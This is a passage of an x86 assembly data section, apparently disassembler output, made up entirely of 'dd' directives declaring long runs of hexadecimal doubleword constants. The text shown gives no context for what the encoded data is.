		dd 80311E39h, 6E997CA7h, 1E456740h, 409163F9h, 897FD0C2h
		dd 11007623h, 8532F808h, 3D80DEh, 77C2D2E5h, 0A5DF3940h
		dd 0BF025B00h, 4FEF637Ch, 3BBA3CFFh, 0F7AC4B0Eh, 946CFB60h
		dd 2B00E537h, 2FD86DAAh, 0A020E8h, 3ADD3E68h, 0C4B6F4ECh
		dd 25149600h, 4C53BD54h, 0BC370067h, 97AA8120h,	0F2E41355h
		dd 0E9A451Dh, 8C5E0FC0h, 7F681951h, 671B008Ah, 1F7561FBh
		dd 7300CC09h, 715404C7h, 7C08B42h, 81841A7Ch, 0BCE9A0ECh
		dd 26003148h, 25083204h, 8B0FF4h, 235C4D8Ch, 397194DDh
		dd 51008D7Bh, 0E03B3552h, 0E9EF481h, 0BC40693Fh, 0C3DCE0F3h
		dd 604F9100h, 50928D31h, 323E251h, 0DA0AF6A0h, 84A19B38h
		dd 0D0D070BAh, 706050Eh, 0CC01F08h, 1814100Eh, 20701Ch
		dd 40383028h, 80706050h, 0C007A0F6h, 910129E0h,	44022220h
		dd 89040103h, 18251505h, 3610C414h, 84820607h, 0A2709E2h
		dd 0C670B47h, 0EA70D87h, 10E70FC7h, 0A711E3h, 51C1124Eh
		dd 2A56D18Bh, 57E01BFCh, 44A3900h, 24533572h, 0F874BEh
		dd 8A028B80h, 0B0884018h, 0C015DF0h, 84217C0h, 0C1C4E4E1h
		dd 6AEF03E0h, 0B1FC7E3h, 47A909Fh, 8901FE03h, 0C0752FBDh
		dd 73F03B14h, 0F45B00D2h, 2748F172h, 2B000210h,	54E8D3CEh
		dd 0CAAF0Ah, 9125CF26h
		dd 0AC1C9CE1h, 89628C09h, 59A7053Eh, 9F447AC0h,	86303ED9h
		dd 93848100h, 886991ECh, 17060D00h, 8C451E82h, 1C30042h
		dd 8912C205h, 9803660Ch, 5528531Dh, 5711B056h, 50598B9h
		dd 302EAA51h, 0BE908024h, 0F600C02Ch, 0BC8BABF3h, 0C5ACF0h
		dd 0ECEE3B23h, 76201718h, 11D2BB00h, 8C2BE038h,	5C900028h
		dd 404308C0h, 0D4A0C53Bh, 0EB007219h, 611217B9h, 0F7F386h
		dd 154406CCh, 0FF333168h, 0C71C0D01h, 0A201C824h, 2FF0D8h
		dd 86A8D19h, 96401427h,	0D32C340Bh, 7600570Ah, 143DE81h
		dd 0CC718900h, 8E870F14h, 306C0078h, 0EC07D7Eh,	3003C5Dh
		dd 0F93D83C3h, 459F10h,	6C24B040h, 8B274D7Ch, 64F67503h
		dd 0A99C5C66h, 31C8A4BAh, 1AEE00C1h, 3E4025CEh,	300CB2Bh
		dd 0D88AFB14h, 16ED74B9h, 0C76C44h, 3920BFF5h, 66006E10h
		dd 0B3E9C114h, 0FDAEE5h, 0ACFE55CAh, 0F3030FE6h, 0CF7BAA1Fh
		dd 4A845407h, 2CA2A810h, 1D740040h, 9CA71C5h, 1F00A989h
		dd 0B98299Bh, 7A578D0Fh, 0CF96002Ah, 2CE6CFFh, 0C000325Dh
		dd 9826615Bh, 14B1FA4h,	158C8244h, 0FC850FC9h, 89013B76h
		dd 8A1119B4h, 0C2E0C831h, 227FD1h, 9DAE8894h, 84BA816Dh
		dd 0D6848h, 0B63B2187h,	3C18E237h, 473E8D61h, 3C483883h
		dd 0C8F80C41h, 0AD28CC72h, 9600BEB0h, 0F193C1FEh, 0F07E57h
		dd 8F878CAh, 0F430723Dh, 118A0400h, 0D7548841h,	68DF3005h
		dd 81E1C44Ch, 421DCE90h, 0B08450CAh, 9580F8C2h,	0CFF531h
		dd 7306F917h, 99D27D0h,	4C98CB03h, 0E890CA2Bh, 0FA422D0Eh
		dd 0FE0D0025h, 2022355Ch, 91129664h, 24003B29h,	26833907h
		dd 1C8A03DEh, 0EBD3D011h, 1846E2F0h, 0A732C1Ch,	6F1B2840h
		dd 1F92D2h, 301467FEh, 0BBA07F1h, 324FBE00h, 24341820h
		dd 50227F0Ch, 20D8704h,	3C0A0844h, 9C60072Eh, 790D240Eh
		dd 0C6FA84C1h, 1C05F8h,	0C18B996h, 5FE6C371h, 0A1E8C004h
		dd 63C49940h, 8E8B41C0h, 1ACEC24h, 8104130Eh, 0D01E97EEh
		dd 0D20133F9h, 5DB74034h, 7B305868h, 888A0016h,	834302C3h
		dd 0FE00A5BBh, 39D3468Ch, 0BC03E3h, 3AF80440h, 8B88E672h
		dd 4F738D01h, 0D1685018h, 0B0E8D4h, 600CF16Fh, 8F8D1C6Ah
		dd 5CE1A000h, 3080080Eh, 90850001h, 41C02113h, 60008789h
		dd 0C4E6BA4h, 0FF505h, 24EB9B5Bh, 5ED1121Ah, 57D3E200h
		dd 0B7423183h, 0C7715Fh, 9720B640h, 0E141F2FDh,	5446820Bh
		dd 6ED010Ch, 9DEC4451h,	3BD76B9h, 8025013h, 58F0A954h
		dd 0CD608214h, 535C0C76h, 0CAFA0341h, 74FCE8AAh, 27B15FE0h
		dd 338887Fh, 1D9BA8Bh, 1E6B8D29h, 3E6ACAh, 0F1D0094Dh
		dd 52E46F7h, 560F8F51h,	3707F753h, 4501434h, 88C91Dh, 4610C180h
		dd 1305FE83h, 8DED720Fh, 0AA78E0BBh, 50B7F3h, 0D5E81765h
		dd 0B9232F1h, 0F6A39h, 0C359860Dh, 1F31C46Ch, 8412F351h
		dd 0C077101Ch, 0E52B4AAh, 2A148A26h, 780D00Bh, 34803045h
		dd 462401h, 287560EBh, 5998FE6Ah, 83C0833Ch, 4E7EF203h
		dd 0F544D881h, 5201007Dh, 23344C8Ah, 0D7178848h, 3AB4D60h
		dd 0CA36EBACh, 0A9611D0h, 2D036A0Fh, 0FC0C6050h, 0EAE07h
		dd 13770B64h, 43C61771h, 8124A305h, 0F4834846h,	0F82E8EDh
		dd 0CA73008Ch, 38E27407h, 4B0014F4h, 0E8AB5210h, 384288Dh
		dd 8BEE2924h, 50F85791h, 8C3EBC22h, 83113833h, 0C0464851h
		dd 0C6ACE0D4h, 64830017h, 80663002h, 0A30004BCh, 875992Bh
		dd 1601635h, 0EB29F005h, 0E0241B07h, 65F6A83Fh,	0E2D29001h
		dd 0C26EA2BEh, 4047E8FBh, 4E160141h, 4329F775h,	98E8E850h
		dd 9081F600h, 9C91033Ah, 717FA06h, 57EC831Ch, 4908605Dh
		dd 4406C7CCh, 971BDFB9h, 0DC8800BCh, 675D6558h,	0F1C1005h
		dd 52C74386h, 6813324Eh, 2600B73Dh, 0DB1373h, 0A2D6881Bh
		dd 0C5A7C341h, 0E9230701h, 0D0351CF8h, 0F4FE8h,	4125FB83h
		dd 8BF1A005h, 0D780E800h, 0EDC10A04h, 0C58D0003h, 7A3092Eh
		dd 0E1030642h, 0D262852Bh, 358EF013h, 44DE0ACh,	33084E8Bh
		dd 98F880DBh, 580085F4h, 32729B91h, 42096h, 5AC6CC65h
		dd 0C1ACE14h, 0CD157A1Ch, 0E1561E42h, 0BDD74008h, 7847DFBh
		dd 0CB7E78CEh, 0CD31A02Ch, 0D60470CFh, 67EA58D3h, 71019DE8h
		dd 246DA5E4h, 7AA0ECDAh, 0D86A8800h, 1485D7C5h,	83CA0503h
		dd 80128977h, 2D208629h, 0AE9C8B00h, 76616845h,	62950EFDh
		dd 3F5C486Ch, 0C074FA1Eh, 3C03FF83h, 0DF007172h, 6F1216ACh
		dd 715A23FDh, 104F031h,	71E2C1C5h, 0EC6B2166h, 2F01282Ch
		dd 0D289B450h, 30E85727h, 0C18300BDh, 530B5CF8h, 93F8D475h
		dd 630182EEh, 51CF7338h, 0D8E79679h, 308C8h, 0C4EFD3C5h
		dd 81CD0246h, 3E19E73Ch, 47309220h, 0F65DC11Dh,	0EBF81C00h
		dd 45835Bh, 216C2AB2h, 0A9516F20h, 4604E200h, 0D7DB0B75h
		dd 295A0084h, 1D2516C9h, 0A07AD82Ch, 186D000h, 1A7303FBh
		dd 9E8C038Bh, 0C25AB562h, 0E5E23098h, 54BFC600h, 7FEB1194h
		dd 86581E1Bh, 931500C8h, 89FDBB07h, 1F00F57Bh, 62DDEC1Eh
		dd 3911508Eh, 0E072C06h, 0B58D4114h, 0E2E58038h, 40037F97h
		dd 22BD065h, 128AB0D1h,	43503F88h, 9824F680h, 991B97Bh
		dd 6BC70300h, 0C90FD513h, 1BCB480Bh, 0E350FC00h, 6E3B1C30h
		dd 8200287Eh, 0BFDC326h, 0B02C3AB0h, 839B00FFh,	0BADBD825h
		dd 56989618h, 75A70C00h, 4D8764E5h, 8430709h, 83C4F850h
		dd 0B1C8548Fh, 44F074F7h, 0BCF27360h, 721D86B3h, 3BF500ECh
		dd 0BA4617ABh, 2900648Ah, 18624C99h, 421EC5h, 1F0FB5A0h
		dd 0A49C5601h, 61094601h, 7C65736Ch, 5470D0h, 2BF59772h
		dd 484577AFh, 0A1EC201h, 1C446494h, 0B81FD740h,	5546013Ch
		dd 3469A8CCh, 6F10F015h, 0E0758B75h, 2A406200h,	43D92E37h
		dd 0A2500C2h, 905085B4h, 86001C84h, 12F7C6Ah, 3F20A1DCh
		dd 6480170Ch, 0CC2CDEAAh, 0FCF50950h, 74005345h, 6D616572h
		dd 3A9F23Bh, 0D82B6449h, 1C9AD95Ch, 15E22CE0h, 450D6200h
		dd 74B9DD8Ch, 5D5400E7h, 0B344481h, 84635C5Eh, 0C0883B0Ah
		dd 704F02h, 5AA56E65h, 21587B8Ch, 81FFCE8h, 72416C69h
		dd 237FE464h, 0FE409ECCh, 0A120E5Ch, 3F7D5245h,	13E757ACh
		dd 5811063Ch, 0EE1F0A10h, 2440B050h, 0E5626972h, 235CCE94h
		dd 5D18A680h, 83FB028h,	0E373A84Ch, 297FEC1Ch, 63D658CFh
		dd 0F0827010h, 2CBA676Eh, 196B5Eh, 5C193F0Dh, 6A001041h
		dd 0B0B8FCF2h, 911266h,	0E0440814h, 4C19C4D0h, 0BA051338h
		dd 0A6A0154h, 0F664B07Ch, 4A24B241h, 38B1D8h, 540B0115h
		dd 0D83468C5h, 5A0BA0F6h, 8FAD0E08h, 0B3104712h, 22193240h
		dd 95043E09h, 46D46400h, 450816E4h, 2EBEC50h, 0FE4AD300h
		dd 9F17A099h, 0A8F00B14h, 0EC0E0D72h, 31DF7381h, 421521F2h
		dd 2E0079Ah, 600F8590h,	3F404410h, 612E6CC0h, 399973h
		dd 5C5824C1h, 290F2FCEh, 7130491Fh, 641B4180h, 385A7061h
		dd 510380DBh, 9C2F3401h, 7E0ECFAh, 9E3811D0h, 0AF2000A6h
		dd 0A5DA823Dh, 0D8140037h, 0F48F1C0h, 78F46803h, 495AE01Eh
		dd 0BC87EC00h, 1F6880Dh, 0D017A42Bh, 0CC19B408h, 390318D4h
		dd 1C4928B2h, 4C120093h, 40E00998h, 20E6101Fh, 14AE784Ch
		dd 58C522C9h, 71CC00D2h, 0A61C09F8h, 4A00F34h, 18601B50h
		dd 52806144h, 19141D00h, 84101E30h, 640900BCh, 1C48C481h
		dd 2073B09Dh
		dd 6C94DF00h, 8C65854h,	5A2768Bh, 4890FDB9h, 0F3FC0C8h
		dd 6907E6A4h, 31360830h, 8C6258D0h, 0B0E1D49h, 2C200039h
		dd 4F08536Dh, 99FB4E00h, 0F8542467h, 0E2101C93h, 0C5B4D48Ch
		dd 88307C0Fh, 20A00E0Fh, 8F2348F0h, 25313C03h, 0D02DE808h
		dd 7FCFEC03h, 61920711h, 0A0273420h, 5C09128Ch,	87632828h
		dd 0A41863B0h, 64223823h, 5D085824h, 0F9D03Dh, 7264C42h
		dd 0AC914F84h, 79CCFC07h, 0A0CE5918h, 0B099A0C1h, 0EF0903D4h
		dd 22E59058h, 829C07E1h, 6469ED56h, 0B484008h, 3F1013FCh
		dd 0C3161F4Ch, 90CBF497h, 912928D0h, 4CAE81Fh, 66540787h
		dd 11602BC0h, 70D10064h, 0B0230812h, 2A3FC410h,	9F99BEC8h
		dd 84407409h, 48540D20h, 6E0A3E61h, 6A01084Ch, 0CCF80549h
		dd 0DC23E07Bh, 149E3Ah,	422A68F0h, 81B443h, 5969464Fh
		dd 888A3F6Ah, 28FEB0F0h, 0E8C54000h, 305AF1Ch, 90F50327h
		dd 0FF12A063h, 5F048BD8h, 744B082Eh, 2D48C201h,	45ECB054h
		dd 0AE5001E4h, 3D1A4E5h, 2178DCA5h, 9B68FB16h, 574B100h
		dd 0D8753Bh, 0A08E0BA6h, 8302E318h, 0FF5B1F1Fh,	2CA14D47h
		dd 0BEB42E20h, 0D8EA0014h, 0A333FA9h, 4F001A52h, 3D1985BAh
		dd 0EF142h, 441B7205h, 0F2CD45A4h, 0A78A7801h, 11A2AB8Eh
		dd 162C870h, 0D177EE82h, 60DD691Ch, 755CA895h, 68EB05AEh
		dd 0DE80539Eh, 9DD233h,	41AA554h, 2F09A47Ah, 37EB561Ch
		dd 38F2D600h, 167C82A1h, 87301h, 2815F4A2h, 0B925A79Fh
		dd 0CE58CEh, 0BEA5CF7Fh, 940C6D9h, 4BFFF800h, 4373087Eh
		dd 0F03B0006h, 0C22B197Dh, 0B800C85Fh, 41C60FEh, 3B0148Dh
		dd 0DA4406A1h, 0DD809A75h, 66009DD0h, 68D730B1h, 0C57197h
		dd 0EBF15F1Bh, 0F7DBBF45h, 5054C41Eh, 61E89C41h, 89DC9543h
		dd 0EC7E0574h, 0C0BED675h, 0B62D6A80h, 560CB00h, 43440C48h
		dd 88C50E8Fh, 0D9E0B3E9h, 0ECEB5A59h, 12B59C00h, 0CC90213Ah
		dd 4A0A2513h, 0D30075F0h, 8EF03E55h, 0A1CE15h, 477B0D0Ch
		dd 0A68BB8D6h, 13D3101Bh, 0DAB2B82Eh, 0BD769Eh,	0C9F9CDA8h
		dd 0A07C47B0h, 830C5000h, 7E401FFAh, 0CAC1010Eh, 379C985h
		dd 90CFDCEDh, 0EB02F900h, 8261164h, 0B9550E82h,	520F85Ah
		dd 5F4F62EFh, 2402E800h, 0C3644BD1h, 0B4F200AAh, 8191B0DBh
		dd 74006CFEh, 0C17E0718h, 0FA87479Ch, 0F0C7B38h, 0D549010h
		dd 8D02E281h, 7B8A30D4h, 24E7D600h, 9C14D79Dh, 0A59A0AACh
		dd 0AE913Dh, 0D6F9097Eh, 481EBC27h, 1940C78Ch, 859353E4h
		dd 71E7B82h, 0F4AFC82Bh, 0C9339074h, 0E500EB92h, 0FE17D19Fh
		dd 904E40h, 0FD2C0501h,	0FA4F0E7Fh, 0C3220900h,	474D9798h
		dd 0F3750132h, 927D08E0h, 0D4B0C987h, 0D6003056h, 822D89B7h
		dd 54FAF9Bh, 1A49A0DCh,	0E164C05Eh, 0CD00C6D2h,	55E93B20h
		dd 7E26BADh, 8C339360h,	0DDFB6088h, 84498571h, 9A3117ECh
		dd 0D2524400h, 94A2BBh,	8AAD5B33h, 0E2804E10h, 514BCB00h
		dd 59A1E6ABh, 641500A2h, 8311C5EEh, 910044C0h, 0CE8B4E87h
		dd 0F276E425h, 74908Ah,	4BE22622h, 0CC98BE52h, 0D8649D00h
		dd 0A49F4EC8h, 90A900CAh, 0BF2238AAh, 2450B34Fh, 1B0037E8h
		dd 3CDBFF03h, 82D55Ah, 0C99206F7h, 42EA1188h, 4A431402h
		dd 407F03DAh, 319E795h,	0E0A7B86Fh, 8EF816CAh, 0C00C9B2h
		dd 0FC958D1Dh, 178B47h,	0A8DBE806h, 4C0D52BAh, 7B848A0Fh
		dd 7EB8F29h, 0E0D03515h, 17A7BB5Eh, 589147Dh, 80C63BFEh
		dd 1911DF24h, 480DFC0Ah, 0C800A03Ah, 0F864F440h, 0E9150752h
		dd 0A050272Dh, 4F600D8Bh, 0C2E24703h, 0D820803Eh, 36CB59h
		dd 3C918475h, 0B7C4D166h, 7673DC1Dh, 0E1ACD402h, 0C1E4E06Eh
		dd 0D9581692h, 0BBA80090h, 0FEE45BDCh, 13EC6500h, 11B6BADDh
		dd 17850016h, 0D94B762Dh, 0C700549Fh, 3706D2D8h, 1ABB66h
		dd 3B9207F6h, 0B28A5797h, 0CB5A0F00h, 0FE1823AAh, 0A5FF002Dh
		dd 0A0BE16F8h, 0DE009C97h, 7A371AA9h, 0E4C159DFh, 36A5008Ch
		dd 0E9C9675Fh, 0ED00C851h, 74E86A62h, 0B9CCF4h,	0D2114877h
		dd 0F205CFE1h, 64B13E00h, 0C92ED4ADh, 4A950044h, 9763FCF0h
		dd 5438AB33h, 8AAF804Eh, 0F9557C38h, 84280E24h,	0C4AE3429h
		dd 0FF2A2DE3h, 9DC94CD0h, 0AF1E7D00h, 0DF18C326h, 3FE80078h
		dd 8AF5094Dh, 593C16A6h, 6F7A00F8h, 802D0AB4h, 0E490DBh
		dd 1750B17Eh, 57FF1338h, 95EB0C00h, 0F70E593Dh,	0C8F90018h
		dd 195A8B94h, 43260973h, 1601914Eh, 18AD2C21h, 0FBC6C4h
		dd 955F9DBEh, 3ACA1AEEh, 4953D500h, 5CE757EBh, 0B2FCAFh
		dd 15D28548h, 1A610EA5h, 0F9323Dh, 0B1452BB3h, 1D192D42h
		dd 0C02AA6CDh, 7A964052h, 3C0F5784h, 0E03E146Ah, 2756B987h
		dd 5410E24h, 9620B86Bh,	7B839045h, 8C82EA00h, 4CAA6209h
		dd 30730050h, 53BD437Fh, 5C00AFCCh, 704B6F87h, 2D3411h
		dd 2BA2B36Eh, 27C595C6h, 0D6140A00h, 451AE28h, 1F03F00Fh
		dd 0BBA2AFh, 921210EBh,	0C13F4A34h, 0AD9F836Eh,	0D00B7DB4h
		dd 134E7C9Ch, 0EC70BE53h, 143FE1h, 20092A6Ah, 34822C4h
		dd 0AD541755h, 2B909059h, 0BD04F8BAh, 0F4A59225h, 0C075F7C2h
		dd 0B32DFDh, 4820058Dh,	49788304h, 8A07BC00h, 606ABA5Ah
		dd 0CDD70225h, 91FEB9E8h, 48402AE2h, 0FC07BD14h, 0F8CC699Ah
		dd 3B47F3C0h, 3F751DA7h, 0F711C0C9h, 2C260D30h,	5E904976h
		dd 0EC225000h, 55CF0833h, 355848A9h, 0A14E2Eh, 0D7D3FA49h
		dd 0E607EC59h, 0F1B5D0B0h, 19C0D955h, 0C944Ch, 0B7D8749Ch
		dd 0A0448D0Ah, 5596E00h, 40A1DE5Ch, 7738001Bh, 4B16C6F2h
		dd 560904CFh, 81E30ABBh, 8E1B47F8h, 59CBE0h, 975036DDh
		dd 9A9C135Fh, 92F43Ah, 282C3D4Eh, 2474381Ch, 640657h, 0F42F4826h
		dd 242E8CCAh, 49009F18h, 232DD644h, 94D93B56h, 6427590Fh
		dd 0ED93D380h, 323E249Fh, 0D990495h, 0E8830220h, 0C5C6D952h
		dd 1D9B1CE4h, 402FC460h, 4DDDF022h, 89004E65h, 69EE1BC0h
		dd 0F146611h, 846934Ch,	20031C8Bh, 0FEA85A0Eh, 53161F67h
		dd 170266EBh, 0E08DECA3h, 28E97B05h, 1DE6B94Ch,	0C062FEE8h
		dd 1D9E845Ah, 0EF1DD02Eh, 67806FE1h, 3214CDB8h,	0DBBB0743h
		dd 0D0E675EAh, 0D5462927h, 90D6E13h, 0F75000EFh, 0D2FC7E9Ch
		dd 1F001E7Dh, 87F5A7FDh, 6DD832h, 0DF713044h, 0CB138899h
		dd 0F800F7E4h, 185DCC0Eh, 142A61Bh, 0F934043h, 0E05455AEh
		dd 0BC00EEA4h, 22BB9675h, 440E87h, 0CF3CCB6Ch, 31C0F64h
		dd 0CCC6DF00h, 0A08430Dh, 595200E9h, 21E196C8h,	0E8E21D76h
		dd 324BD17h, 64945900h,	0ED52DCh, 5DE1B5E5h, 23F3B07Ah
		dd 0D4434E24h, 49F4670Eh, 0A150010Eh, 60D4E8BCh, 8094072Ch
		dd 0C04B4607h, 0C6C295E0h, 43839600h, 2A6D4AF4h, 29DD0031h
		dd 0ACBBE42Ch, 0F00A6CAh, 9699D897h, 268A6F2Bh,	910C08h
		dd 0FD3ADFCDh, 51008674h, 6A505256h, 1613CA97h,	1180A1h
		dd 19ABE81Dh, 0B800DFA2h, 851E78B6h, 0C6C0BEh, 5C14FE91h
		dd 4F7FB38Bh, 43F23A00h, 27AE8A93h, 0E55F1D59h,	6D894050h
		dd 31F14577h, 1F229800h, 5A22E63h, 0B0160094h, 18EF2097h
		dd 12FEB5ABh, 2B79DF00h, 48DCFAB7h, 0A3D105CEh,	0EE195E55h
		dd 25B3A180h, 8D2C0094h, 361F0CB1h, 2975F1FFh, 0BCF80801h
		dd 0ACB4FA56h, 58DCE0FDh, 0D1F200DDh, 3B1E9996h, 6B0D74F3h
		dd 44B444B3h, 7BF84DC8h, 3DFE74E1h, 75FE0CAEh, 85520757h
		dd 0E0CF0D9Ah
		dd 0D1AFBB2Bh, 0CA0BD800h, 0C4EBB05Fh, 0E6E9EE70h, 778F3E02h
		dd 6FB26007h, 0DD2FB09Bh, 690012CDh, 9ADF6C8Bh,	946780h
		dd 0B8F89126h, 0D6318720h, 0AB1CAF01h, 9342E462h, 4C73ECh
		dd 0D716EBE2h, 0FB943D71h, 6A2B3Ch, 834E5E1h, 0A50313h
		dd 2CDEF985h, 204E9AC2h, 64662E00h, 2555B753h, 0A6BF0EC8h
		dd 4A8156CBh, 0F4946E18h, 97F65BDEh, 0F21761Ch,	0B685982h
		dd 0F956C010h, 2AEC0731h, 0E3B69874h, 3ED86917h, 15005CDBh
		dd 0BE5AC8CAh, 1F192714h, 0C070F1B1h, 489D3E2Ah, 8E744A64h
		dd 57832500h, 73566E42h, 4E3700A4h, 0D6118D6Ch,	6A00E87Dh
		dd 9F18583Fh, 1D3540Ah,	0CD7651Ah, 0CB9594A2h, 411CF3A0h
		dd 721F4578h, 9E008C0Fh, 2BEECEA4h, 528A00FAh, 7B2CD065h
		dd 2203B4F0h, 4D26485h,	3270B797h, 29120Fh, 3B917AE4h
		dd 0DABA39EBh, 43010400h, 64A8138Ah, 800A020Eh,	5587DEAh
		dd 47562C0h, 0CB8BEF0Ah, 0B009D2Bh, 8D1692E0h, 83FF0093h
		dd 750D3B80h, 0C005C64h, 8A0F370Ah, 358A4C2h, 0E39B229Eh
		dd 9003BB78h, 53E19AC9h, 233AC944h, 1D47B3F8h, 6968CFh
		dd 0AD1F104Ch, 3400B236h, 48A055DFh, 0CA1E4h, 862C15D7h
		dd 6A235B41h, 3D5E7700h, 40B83FA4h, 24061C65h, 17284008h
		dd 9FAB9C2Ch, 2A074104h, 958027EEh, 932A6h, 0DFD888A1h
		dd 7699925Eh, 5C50AF00h, 0C59B268Dh, 0D0E23928h, 0F1445100h
		dd 187B8016h, 38258448h, 3FF9E10h, 2BEB8Fh, 0A9C7C6CCh
		dd 7B781EB8h, 438A0040h, 2D012C19h, 5C217200h, 0EB020917h
		dd 20520070h, 0F9046E0h, 5B00DBB2h, 0CE5149F3h,	1BA64F5h
		dd 1916C736h, 415A5F78h, 0E2FAA2BAh, 400E1DC1h,	0D82F6ADFh
		dd 9312FE00h, 5531C524h, 0C81C0074h, 22C592Ah, 64001A28h
		dd 2D1040B5h, 0F26F62BEh, 0CE850034h, 15D40A4Bh, 0CF3B4AD0h
		dd 0C3221F53h, 702690C0h, 7B4975Bh, 0D5104394h,	0C24D20A5h
		dd 0F000048Dh, 812F1F38h, 9B7B4FFh, 0B290E89Ch,	142680FFh
		dd 4440D19h, 0EB1A77DAh, 0C0D6809Ah, 5200D3B4h,	850C679Fh
		dd 0F7B31FFh, 7FCF1587h, 8208A8C0h, 0B1F223E8h,	0E971248h
		dd 45F4582Dh, 8C0EDD6h,	0AC9E40h, 41124ECh, 0BA1A8918h
		dd 4ACE0F00h, 0A6FF2E9Bh, 5E06005Ah, 0EBF05348h, 823D2CB7h
		dd 9279F21h, 7D007038h,	0FE3B4F10h, 34027Ch, 0D1371C8Dh
		dd 5C8FDEBh, 92D80400h,	0C0B29C8Fh, 5B8DF27Dh, 0AAF873h
		dd 4FFB0C91h, 165B7518h, 0BB5F0Dh, 9074EA30h, 8B0237C5h
		dd 0CC9568F3h, 307DC0FEh, 1FBEFC7Dh, 0B84A72h, 0C7EF6FE4h
		dd 0CE0E536Ch, 20F24E14h, 51C05645h, 0AE6800B9h, 84104874h
		dd 0CA5C49AAh, 43617F4h, 50271F00h, 0E196614h, 0D85AF269h
		dd 0FEC640A0h, 0BE001185h, 9CB2E19Dh, 0E646D6h,	0CCA85E5Fh
		dd 0EA728D3h, 0BD479100h, 0AD990D20h, 1D167D11h, 0C0D08E84h
		dd 0D7C70775h, 8907D428h, 0D9A98CC9h, 153A6AD0h, 13940074h
		dd 0BD3D474Ch, 7E00AC5Ch, 0AA296985h, 45D4BAh, 4B964918h
		dd 14E63798h, 4DDCD90Eh, 46D8A713h, 171B92F0h, 0F254008Dh
		dd 0E6FCCE8h, 100EB33h,	3E0C1C2h, 7B997E91h, 587916D5h
		dd 0A8A8BFh, 0C67DBEE4h, 42D748h, 3772FFCDh, 0BAB0940Ch
		dd 0FDE04D00h, 574B5A49h, 0BBD83A48h, 89124300h, 94A6157Ch
		dd 78F7B500h, 6D01294Ah, 752E00D2h, 0CE0347CFh,	0E804D1C2h
		dd 9482F56Fh, 3AFB7AC0h, 4FFE00AFh, 84366E26h, 4E024224h
		dd 7F47D621h, 7C88C0C0h, 0B8D54E20h, 140330F2h,	75F05Dh
		dd 0CF897305h, 0A5B0854h, 0F873D27Fh, 4E433100h, 84B77D48h
		dd 7EF41Ch, 52A4BB11h, 61DC94CEh, 17C3E800h, 0E6B0EA25h
		dd 7CF40062h, 145D9F85h, 8D009144h, 307E1A7h, 0F6390C02h
		dd 2CEC0059h, 0CD06292Eh, 3B00C5ABh, 0B99E6058h, 1E98CB22h
		dd 80D07C15h, 0D8D41ED1h, 881CBA82h, 4380D628h,	0ED848091h
		dd 2C930FDCh, 0F22263h,	1C7E0124h, 0E10030DAh, 256A4928h
		dd 8B57F2h, 0D984123Dh,	0EAB96653h, 343BF500h, 0C0910C7Eh
		dd 36D80145h, 30251E14h, 0BFE12EFFh, 2E0246DCh,	36234Bh
		dd 0B065C9DAh, 4F0FFD3Eh, 48CBC7h, 27E5D970h, 2FF8002Ch
		dd 0AE1C0A26h, 3E3BC614h, 0D83F0048h, 0D9317BFh, 0ABB30B80h
		dd 3B00F01Dh, 89968F42h, 443F5400h, 1362C702h, 16823BEFh
		dd 283100FBh, 0C2F34310h, 0C97DB70Fh, 0A8135Ch,	6C64D50Bh
		dd 974AFFh, 22D04327h, 994FE737h, 0AB9FF509h, 0F43380A3h
		dd 7B865B5Dh, 0BEC097E9h, 66000869h, 12578159h,	1DC33675h
		dd 50A33Eh, 7B2E89C8h, 90FF104h, 0E1025D7Dh, 0A61C6F4h
		dd 0BA7470h, 0AB04DE25h, 8C314838h, 0CB0012F8h,	37EB2814h
		dd 0D76488h, 894D6373h,	0D2452FF2h, 6C247D00h, 0E8C4039h
		dd 5D3F00E8h, 75928103h, 0D03FFFDh, 0B997A93Eh,	0D6D4C02Fh
		dd 38CF00EFh, 7C400420h, 63004F2Bh, 0BC5F8DDFh,	57E2B8h
		dd 3DF8C66Ch, 5DC5342Fh, 8653A600h, 0B7A17CABh,	71B900B6h
		dd 4445852Bh, 0A600B3BCh, 87119FCEh, 0ECDAA408h, 758E0031h
		dd 6E92F25h, 56EC5058h,	59AFD700h, 79D160A9h, 0BD180F35h
		dd 6560D2C9h, 888BBCC1h, 320058E6h, 0B34892Bh, 543EDAh
		dd 0A796D23Ch, 0A36B7429h, 0AB3510Fh, 4A7A07C8h, 9F9D9250h
		dd 0D7100288h, 0A535BAB2h, 5E2CCA80h, 980044E4h, 4B4877DBh
		dd 1C8A10Ch, 69BB2347h,	0FC42611Bh, 6E980BD6h, 3A1E2C1Eh
		dd 0F0CAD00h, 12104EFFh, 41BB1Dh, 9C458957h, 91004D38h
		dd 321A9DAh, 0F6940F19h, 187579E1h, 124A142Ah, 0E00EB90h
		dd 4ED78953h, 0F2C684CBh, 6177C0h, 8AC72B14h, 85E90A77h
		dd 0E5738100h, 391E83E0h, 27200D9h, 295641F7h, 3F024CBh
		dd 9961E700h, 20503CB7h, 0E9C100CAh, 0F7181E62h, 0D17893A5h
		dd 0A400AC70h, 75DB095Eh, 76A25BC6h, 37FC00B8h,	864A59BAh
		dd 0A6008CDEh, 0F00AB2EDh, 5CE11DEAh, 4B39C9FAh, 57484300h
		dd 55C993D4h, 62046300h, 92DFE836h, 0B0C23AD9h,	0C95C614Ch
		dd 0B9D41600h, 0E80688FFh, 0E1EC5F4Fh, 4FCFEC00h, 0FADCBC4h
		dd 7D6FDE00h, 0D0EA652Eh, 234A0017h, 0B27C6249h, 5C3D573Ch
		dd 0C2ED00F7h, 9BE3062Ch, 1209030Ah, 0D05220EBh, 21C815A0h
		dd 5790403h, 0A05D3E23h, 0B867A46Ah, 5EEA0082h,	51AC857Ah
		dd 4C004435h, 5AC88A13h, 0A329D3h, 2DB0C430h, 0BF69E86Ch
		dd 0BA914F0Fh, 0B3FC0075h, 465FB7h, 25A02FEFh, 0D4197790h
		dd 97E8833Fh, 0AEB0EBh,	0EDAD0D0h, 0E6015D54h, 0B74417EEh
		dd 0BBE04B5Bh, 49C0027h, 0D3FE57FFh, 0EB003F19h, 935E85FBh
		dd 8D1E05h, 0F3151395h,	2BB938A1h, 8AA50100h, 280BEB81h
		dd 1EA700EDh, 54246326h, 7E00DBC6h, 55C17F25h, 0AAFC6Eh
		dd 43D99B2h, 14593AC2h,	49AC2A03h, 0C02B48DFh, 3D3EE4A4h
		dd 400174Ch, 0A92CFE3Ch, 6C00B173h, 2191B863h, 75A633AAh
		dd 202300C9h, 0FD1294D2h, 5F00DB4Eh, 7F85C064h,	0C5F6E2h
		dd 0BDF3301Dh, 3FAD5BCDh, 486E900h, 17870F13h, 0F273EAh
		dd 422EF719h, 4C4B8C07h, 58082F00h, 7A126989h, 48880024h
